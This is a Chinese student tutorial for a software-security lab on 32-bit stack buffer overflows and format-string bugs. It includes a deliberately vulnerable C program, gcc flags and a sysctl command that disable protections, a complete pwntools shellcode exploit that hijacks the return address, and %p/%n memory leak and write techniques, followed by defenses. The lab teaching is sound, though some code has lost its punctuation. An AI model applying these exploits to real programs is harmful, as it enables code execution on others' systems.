资讯动态

软件安全实验三:缓冲区溢出与格式化字符串漏洞实战

发布时间:2026/9/15 16:18:51 来源:尧图企业网站定制
做软件安全实验三那两周我基本处于一种状态白天编译漏洞程序晚上用 GDB 单步跟栈梦里都在追返回地址。实验三这个名字在课表上非常不起眼但对大多数上过软件安全课的人来说它就是一道坎。前两次实验还在教你怎么用 Linux、怎么静态看汇编到实验三直接把你扔进内存破坏的世界缓冲区溢出、格式化字符串、栈布局、返回地址劫持每一个词单拎出来都能劝退一批人。这次实验解决的是非常实际的问题一个看起来正常的 C 程序为什么会被一段精心构造的输入控制攻击者又是怎么把一段恶意代码“塞”进进程里执行的实验的目标不是教你写攻击工具而是让你亲手走一遍漏洞从发现、利用到防御的完整链路。适合正在上软件安全课的学生参考也适合刚入门二进制安全、想搞懂栈溢出到底是怎么回事的爱好者。说实话只要把实验三完整做下来你对“软件安全”这四个字的理解比之前看十篇科普文章都管用。1. 实验到底在做什么拆解软件安全实验三的核心目标1.1 为什么偏偏是“实验三”实验三在整个课程体系里的位置很有意思。实验一通常是把 Linux 环境跑通熟悉 gcc、gdb、objdump 这些基础工具实验二一般会做反汇编和静态分析让你能读懂简单的汇编指令。到了实验三才真正开始接触“漏洞”本身。我记得第一次打开实验手册时看到要求是“实现一个缓冲区溢出漏洞的利用理解栈帧结构并完成格式化字符串漏洞的分析”当时心里是发怵的。但做完以后回头再看这个安排很合理前两次实验积累的工具操作能力到实验三全都被调动起来——编译要写参数调试要开 GDB分析要反汇编构造输入要写 Python 脚本。这其实是一次集中锻炼也是后面学习 ROP、ret2libc、堆漏洞这些进阶内容的基础。不同学校在实验三上的具体题目可能略有差别。我们学校当时是把“缓冲区溢出”和“格式化字符串”两个漏洞点放在一起要求各写一份实验报告。后来和南邮的朋友交流发现他们软件安全实验三的核心内容也大差不差无非是实验指导书里给的漏洞函数不同、防护机制的开关设置不同。基本上都是从栈溢出入手再往格式化字符串扩展。1.2 这次实验覆盖的知识点地图如果要把实验三涉及的知识点画成一张图会非常像软件安全架构图里“应用层—系统层—防护层”的映射关系。最底层是进程的内存布局代码段、数据段、栈、堆分别在哪栈为什么从高地址往低地址增长往上一层是函数调用约定call 指令到底压了什么、leave 和 ret 做了什么再往上是漏洞产生的根因比如 gets 函数存在边界检查缺陷printf 函数把用户输入当作格式串解析最上面一层是系统防护机制也就是栈不可执行、栈保护、地址随机化这些。很多同学做实验时只盯着“怎么让程序崩溃”或者“怎么拿到 shell”一旦出了问题就一头雾水。我的建议是先花半小时把这个架构理清楚。你在实验报告里画的软件安全架构图不需要多华丽但至少要把输入点、漏洞函数、内存操作、防护机制这几层标出来。老师看到这种报告第一印象就会好很多因为你展示的是“理解”而不是单纯“跑通了”。1.3 实验环境与前置技能说句实在话实验三最大的门槛还不是漏洞本身而是环境。如果你用的是 Windows还想着在 Visual Studio 里编译 C 程序做栈溢出那基本是在跟自己过不去。课程要求的实验环境一般是 Linux而且最好是一个干净的 32 位 Ubuntu 虚拟机。前置技能其实没有想象中那么高。你不需要成为汇编专家但至少要看得懂这几条指令push、pop、call、leave、ret、mov。如果之前没接触过可以先用objdump -d反汇编一个小程序对照 C 源码一行行看很快就能建立感觉。另外就是 Python 的基础用法特别是处理字节串因为构造 payload 时经常要跟b\x90\x90这种东西打交道。我当时遇到的最大问题是切换环境太频繁一会儿用 WSL一会儿用 VirtualBox。实验三建议固定在一个环境里做完因为地址偏移、工具链版本都会影响结果。你要是中途换环境前面调好的 offset 可能全部作废非常浪费时间。2. 环境搭建与工具链别把时间浪费在编译参数上2.1 虚拟机与系统选择我的建议是直接装 32 位的 Ubuntu 18.04 或者 20.04。为什么强调 32 位因为实验三涉及栈布局分析32 位程序的栈帧结构更简单函数参数直接压栈地址也都在 0x0804xxxx 附近写起来容易理解。用 64 位程序做也不是不行但你会额外遇到 register 传参、RIP 高位清零、堆栈对齐这些问题对新手来说属于“还没学会走就想跑”。虚拟机软件用 VirtualBox 就行免费而且学校机房一般也装了。装完系统以后建议立即拍一个快照后面编译环境被我折腾坏过好几次有了快照可以一秒恢复。如果你不想装虚拟机用 WSL1 也能跑大多数实验但 WSL2 默认开启 ASLR某些调试场景行为会和真实 Linux 有一点差异需要额外关闭。按我实测下来还是 VirtualBox Ubuntu 最稳。2.2 那些必须背下来的 gcc 编译参数实验三的漏洞程序很多是老师给的但为了自己复现我建议你亲手写一个。编译时如果不加参数现代 gcc 默认开启的防护机制会把漏洞堵死导致你无论如何都触发不了溢出。所以编译命令需要这样写sudo apt update sudo apt install gcc-multilib gdb python3-pip pip3 install pwntools gcc -m32 -fno-stack-protector -z execstack -no-pie -g vuln.c -o vuln这里每个参数都有明确含义我都会在报告里写清楚参数作用去掉会怎样-m32编译成 32 位程序默认变 64 位栈帧和传参方式完全不同-fno-stack-protector关闭栈 canary 保护gcc 会在返回地址前插入随机值溢出直接触发 abort-z execstack允许栈上代码执行NX 开启栈上的 shellcode 无法执行只能考虑 ret2libc-no-pie关闭位置无关可执行文件开启 PIE 后代码段基址随机化跳转地址很难固定-g生成调试信息GDB 里看不到源码和变量地址分析效率大降第一次做实验时我因为漏加了-no-pie导致每次运行程序加载地址都在变GDB 里看到的地址和正常运行时对不上折腾了很久才反应过来。建议编译后用checksec确认一下checksec --file./vuln如果输出里Stack是Canary found或NX enabled说明参数没写全。把防御机制逐项关闭后程序才能暴露原始漏洞。2.3 必备工具清单与安装实验三真正高频使用的工具其实只有四个gcc、gdb、Python、checksec。但 gdb 裸用效率太低我建议装一个插件pwndbg或者peda都行。pwndbg 会直接把寄存器、栈内容、反汇编信息全部打印出来省去大量重复输入命令的时间。git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.shPython 这边主要用 pwntools它提供了打包整数、生成 pattern、连接本地进程、接收输出等一整套封装。安装很简单pip3 install pwntools注意要装到 Python 3 环境下。除此之外objdump、readelf、file这几个命令是系统自带的要会基本用法。readelf -s可以查符号地址objdump -d可以反汇编file可以确认是不是 ELF 32 位。工具不在多能顺手就行。3. 缓冲区溢出实验从栈布局到劫持控制流3.1 先理解函数调用时栈上发生了什么缓冲区溢出的本质是程序往一个有限大小的缓冲区里写了超过容量的数据多出来的数据就覆盖了栈上相邻的内存区域其中最关键的是返回地址。一旦返回地址被篡改函数执行完ret指令后CPU 就会跳到攻击者指定的位置继续执行。我用一个最简单的例子说明。下面这段代码写了一个有漏洞的函数#include stdio.h #include string.h void vulnerable() { char buf[64]; gets(buf); printf(Your input: %s\n, buf); } int main() { vulnerable(); return 0; }gets函数会一直从标准输入读取直到遇到换行符它不检查缓冲区大小。当 main 调用 vulnerable 时栈上的布局从高地址到低地址依次是调用者环境、返回地址、保存的 EBP、局部变量buf[64]。也就是说buf在低地址返回地址在更高的地址。数据从低地址向高地址覆盖所以只要输入超过 64 字节多出的部分就会先覆盖保存的 EBP再覆盖返回地址。你可以用生活里的乐高积木来类比栈上的内存就像一排摆好的积木返回地址是其中最关键的一块。你本来只想在第一个格子里放积木但gets不管它一路叠下去把后面关键位置的积木全推歪了。CPU 执行到ret时就会拿到一个被篡改的地址程序流程彻底失控。3.2 找到溢出点并计算偏移知道了原理下一步就是确定输入多少个字节后刚好能覆盖返回地址。这个“刚好”的位置被称为偏移offset。手工数 64 字节太容易出错我推荐用 pwntools 的 cyclic 模式python3 -c from pwn import *; print(cyclic(200).decode(latin-1)) input.txt gdb ./vuln -q run input.txt程序崩溃后GDB 会显示类似EIP: 0x6161616c的错误。0x6161616c对应的正好是 cyclic 生成字符串里的四个字符用下面的命令就能反查出偏移python3 -c from pwn import *; print(cyclic_find(0x6161616c))这时会输出类似76的数字。为什么是 76 而不是 64因为 64 字节填满buf后还有 4 字节覆盖了保存的 EBP从第 68 字节开始才轮到返回地址。在实际实验中不同题目缓冲区大小不同所以一定不要手算直接用 cyclic 是最靠谱的。我踩过最大的坑是在 GDB 里跑得到的 EIP 偏移和直接命令行运行时并不完全一致。原因是 GDB 会额外压入一些环境变量和调试信息导致栈地址整体偏移几十字节。处理办法是尽量在 GDB 里完成偏移计算后面真正发送 payload 时再用 pwntools 的process启动程序验证。3.3 构造 payload从 shellcode 到控制返回地址当栈可执行且关闭 ASLR 时最简单的利用方式是往缓冲区塞一段 shellcode然后把返回地址覆盖成 shellcode 的起始地址。步骤分三步第一步确定 shellcode 所在地址。我通常是在 GDB 里下断点然后查看buf的地址gdb ./vuln -q break vulnerable run print buf输出类似$1 (char (*)[64]) 0xffffd0a0这里的0xffffd0a0就是 buf 的栈地址。第二步生成 payload。经典 shellcode 会 execve(/bin/sh)pwntools 已经帮我们封装好了from pwn import * offset 76 buf_addr 0xffffd0a0 shellcode asm(shellcraft.i386.linux.sh()) payload shellcode payload payload.ljust(offset, b\x90) payload p32(buf_addr)b\x90是 NOP 指令用来填充 shellcode 与返回地址之间的空隙即使跳转地址有一两个字节的偏差也有可能滑进 shellcode 里。第三步发送 payload 并交互p process(./vuln) p.sendline(payload) p.interactive()如果一切顺利终端就会进入一个 shell。注意这里sendline会追加\n对应 gets 读取完一行。如果没进入 shell最常见的原因是地址差了几个字节可以先关闭系统的 ASLR 再试sudo sysctl -w kernel.randomize_va_space03.4 开启防护后的绕过思路实验三一般不会要求你只在一个“裸奔”环境里做利用老师会问如果把编译参数里的-z execstack去掉换成-fstack-protector程序还安全吗这就涉及到绕过思路至少要知道概念。第一个是 NX 开启后栈上代码不能执行。这时最经典的做法是 ret2libc不再跳到 shellcode而是跳到系统已有的system函数参数指向/bin/sh字符串。因为system在 libc 里NX 保护只限制数据段不可执行不影响 libc 的代码段。第二个是 canary 开启后函数返回前会检查一个随机数是否被破坏。要绕过它通常需要利用另一个信息泄露漏洞先把 canary 读出来然后在 payload 里保持原值写回去。第三个是 ASLR 开启后栈、libc、堆的基址都会随机化。实验环境里最简单的是先泄露一次 libc 地址再用相对偏移计算出system和/bin/sh的真实地址。这些内容其实是实验四、实验五的主战场但实验三能提前理解“保护机制不是万无一失的”对后面的学习帮助特别大。4. 格式化字符串实验能把栈数据读出来也能写进去4.1 格式化字符串漏洞为什么存在第二个核心实验是格式化字符串漏洞。它的触发代码通常长这样#include stdio.h int main() { char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf); return 0; }问题在最后一行printf的第一个参数本应是格式串比如Hello %s但这里直接把用户输入当成了格式串。如果输入%x、%p、%n这类格式符printf会认为这些格式符后面还有对应的参数于是去栈上读取并不存在的“参数”。这就是格式化字符串漏洞的本质格式串和数据没有分离。生活里可以打个比方格式串像自助餐的取餐券上面写什么就取什么。你本来应该自己写一张明确的券Hello %s结果却把顾客填写的菜单直接当成了取餐券。菜单里写了一句“再来点甜点 %x”后厨就会莫名奇妙地从冰箱里翻出一块本不该出现的食材。4.2 利用 %p 和位置参数泄露内存格式化字符串的第一步通常是泄露内存内容。输入一串AAAA.再加上若干%p比如echo AAAA.%p.%p.%p.%p.%p.%p.%p | ./fmt输出中会出现类似AAAA.0x41414141.0x...的内容。0x41414141就是 ASCII 字符AAAA的十六进制表示说明我们的输入被printf当成了第一个参数。这里要引入位置参数的概念%7$p表示直接读取第 7 个参数。如果我输入AAAA%7$p输出是AAAA0x41414141那就说明输入内容对应的参数位置是 7。定位后泄露地址就很简单了。比如栈上某个位置保存了 main 函数的返回地址把它打出来就能算出程序基址如果某个位置保存了 libc 地址就可以算出 libc 基址。这一步在很多真实漏洞利用里都是前置操作因为先要泄露地址才能构造后续 payload。我当时第一次看到0x41414141从屏幕里打印出来时感觉非常神奇我明明只输入了字符它却把字符在内存里的原始编码还原给了我。这种“信息泄露”虽然不能直接控制程序但为后面所有绕过手段提供了关键情报。4.3 任意地址写的思路格式化字符串漏洞的终极能力是用%n实现任意地址写。%n会把“到目前为止已经输出的字符数”写入到一个指针指向的地址。所以只要把目标地址放到 payload 前面再配合位置参数就能向这个地址写入一个数值。一个最简单的演示思路是先声明一个全局变量secret利用格式化字符串改变它的值。如下#include stdio.h int secret 0; int main() { char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf); printf(\nsecret 0x%x\n, secret); return 0; }如果我想把secret改写成一个非零值可以构造这样的 payload假设 secret 地址是0x0804a048偏移是 7from pwn import * addr 0x0804a048 payload p32(addr)然后输入到程序后由于printf会把addr当成一个地址去访问不满足要求。实际上通常需要p32(addr) b%7$n意思是“把已经输出的字符数写入到第 7 个参数指向的地址”。为了让写入的值可控还需要用%0c、%1c这类来凑字符数。这部分很容易把自己绕晕。我当时卡了很久后来才明白写入的值是“已经输出的字符数”不是固定的所以你要先计划好在第几个位置之前输出了多少字符计算好差值再补上。最笨也是最实用的办法是分多次写入每次只写一个字节用%hhn控制写入多少避免一次输出大量无用字符。5. 异常排查与收获记录从崩溃到拿到 shell5.1 常见问题速查表实验三几乎所有人都会在某个环节卡住我这里整理一份速查表都是我自己踩过的坑现象可能原因解决办法输入 payload 后毫无反应偏移算错返回地址覆盖错位置用 cyclic 重新计算偏移GDB 里能跑命令行不能栈地址受环境变量影响而偏移关闭 ASLR或在脚本里设置统一环境变量shellcode 所在地址跳不进去地址差了几字节用 NOP 雪橇取消 ASLR或用 GDB 确认地址程序报stack smashing detectedcanary 没有被关闭编译时加-fno-stack-protector格式化字符串输出一堆地址但找不到AAAA位置参数没有找对逐个试%1$p到%20$p%n写入后程序崩溃目标地址不可写选择可写地址比如全局变量或 GOT 表项局域网里实验服务器无法连接环境问题或是远程防护不同先本地调通再考虑远程调试5.2 排查思路与调试验证遇到问题千万别蒙头瞎试按照“先静态、再动态、最后验证”的顺序来。先静态用objdump -d vuln或者readelf确认程序确实是 32 位、没有 canary、栈可执行。很多问题在编译阶段就已经注定了加个参数就能解决。再动态用 GDB 在关键位置下断点比如break vulnerable、break *0x0804xxxx然后单步执行观察esp、ebp、eip的变化。格式化字符串问题可以通过查看printf调用前的栈内容来判断偏移对不对。GDB 是最好的“透视眼”比一遍遍改 payload 高效得多。最后验证pwntools 跑通本地后可以多跑几次看稳定性。尤其是地址相关的 payload如果第一次成功第二次失败基本就是 ASLR 没关或者地址未对齐。实验三阶段不用追求“无敌稳定”关键是能稳定复现这个目标其实就已经很了不起了。5.3 做实验报告的一点建议实验报告不是流水账而是要解释“为什么”。我见过很多同学直接贴代码和截图老师问“为什么偏移是 76”答不上来。建议报告里放一张软件安全架构图把输入点、漏洞函数、内存布局、防护机制标注清楚哪怕是用文字描述都行。再一个是要准确记录实验环境。gcc 版本、Ubuntu 版本、是否关闭 ASLR、编译参数这些必须写在报告开头不然后面所有复现都会对不上。南邮那边做类似实验时也强调环境一致性因为这种东西差一个参数结果就是天壤之别。最后写完利用步骤以后记得补一段“防御建议”。比如用fgets替代gets、开启栈保护和 NX、使用-Wl,-z,noexecstack、对输入做长度限制。软件安全实验不是教你怎么当攻击者而是让你在亲手攻击以后真正知道防御为什么要这么做。老师看到你能写出防御方案就知道你是真的理解了这个漏洞。做完整套实验三我最大的体会是安全漏洞并不神秘它往往就藏在一个没有检查边界的函数、一个没有分离格式串的printf里。亲手把一个“看起来正常”的程序打到崩溃又一点一点修复它、保护它这种体验远比考试拿高分来得实在。如果你正卡在偏移计算或者格式化字符串的某个细节上别急着怀疑自己把环境参数重新检查一遍把栈里每个字节的位置都画清楚大概率就能走出来。实验三这道坎跨过去之后后面再学 ROP、堆利用你都会觉得顺很多。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价